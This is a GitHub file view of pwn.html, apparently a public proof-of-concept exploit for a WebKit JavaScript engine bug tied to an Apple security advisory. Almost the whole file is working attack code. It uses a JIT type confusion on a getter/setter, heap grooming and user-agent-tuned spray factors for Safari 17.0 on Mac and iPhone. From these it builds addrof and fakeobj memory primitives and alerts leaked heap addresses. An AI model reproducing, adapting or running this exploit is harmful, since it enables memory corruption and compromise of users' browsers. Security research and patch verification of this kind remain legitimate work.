/
pwn.html
161 lines (141 loc) · 3.94 KB
/
pwn.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="util.js"></script>
<script src="int64.js"></script>
<title>Document</title>
</head>
<body>
<p id="factors">
</p>
<p id="status"></p>
<script>
/*
author: @po6ix
commit: https://github.com/WebKit/WebKit/commit/08d5d17c766ffc7ca6a7c833c5720eb71b427784
advisory: https://support.apple.com/en-us/HT213926
*/
let boxed_arr = new Function();
boxed_arr.p1 = 1.1;
boxed_arr[0] = {};
let getter = new Function();
getter.p1 = 1.1;
getter[0] = 1.1;
let shape = {};
for (let i = 0; i < 14; ++i) {
shape['p'+i] = i;
}
let shapes = [];
for (let i = 0; i < 100; ++i) {
shapes.push({
...shape,
['z'+i]: 0x1337
});
}
function trigger(type) {
let object_a = {};
object_a.foo = 1;
object_a.p1 = 1.1;
let object_b = {};
object_b.__defineGetter__('p1', getter);
object_b.foo = 1;
function get_getterSetter(type) {
let o, retval;
if (type == 0) o = object_a;
else o = object_b;
for (let i = 0; i < 2; ++i) {
if (type == 0) retval = o.foo;
else retval = o.foo;
}
return retval;
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
return [getter, get_getterSetter(1)];
}
(function pwn() {
let [getter, getterSetter] = trigger();
let success = false;
try {
getterSetter.toString();
} catch(e) {
// it should fail to call toString
success = true;
}
if (!success) {
document.getElementById("status").innerHTML = "Exploit failed.. Trying again!"
location.reload()
return;
}
let symbolObject = Object(getterSetter);
let isMac = navigator.userAgent.indexOf('Macintosh;') !== -1;
let isIphone = navigator.userAgent.indexOf('iPhone;') !== -1;
let version = navigator.userAgent.split('Version/')[1].split(' ')[0];
let factor;
let unknown_device = false;
if (isMac && version == '17.0') {
factor = 840;
} else if (isIphone && version == '17.0') {
factor = 87;
} else {
factor = 87 + Math.floor(Math.random() * 1000);
unknown_device = true;
}
let ref_arr = [];
for (let i = 0; i < factor; ++i) {
ref_arr.push(symbolObject.description);
}
getter.p13 = 1.1; // change the length of boxed_arr
let unboxed_arr = getter;
function addrof(o) {
boxed_arr[8] = o;
return Int64.fromDouble(unboxed_arr[0]);
}
function fakeobj(addr) {
unboxed_arr[0] = addr.asDouble();
return boxed_arr[8];
}
let sample = BigInt(addrof({}).toString());
if (sample >= 0x200000000 || sample < 0x100000000) {
// alert('failed');
location.reload();
return;
} else {
alert(`success!!!`);
if (unknown_device) {
alert(`It seems you have found a valid factor for an untested device!\nIf you send this information to me, it could be helpful to others.\nisMac: ${isMac}, isiPhone: ${isIphone}, version: ${version}, factor: ${factor}, userAgent: ${navigator.userAgent}`);
document.getElementById("status").innerHTML = "Success!"
}
}
alert(addrof({}).toString());
alert(addrof({}).toString());
alert(addrof({}).toString());
alert(addrof({}).toString());
})();
</script>
</body>
</html>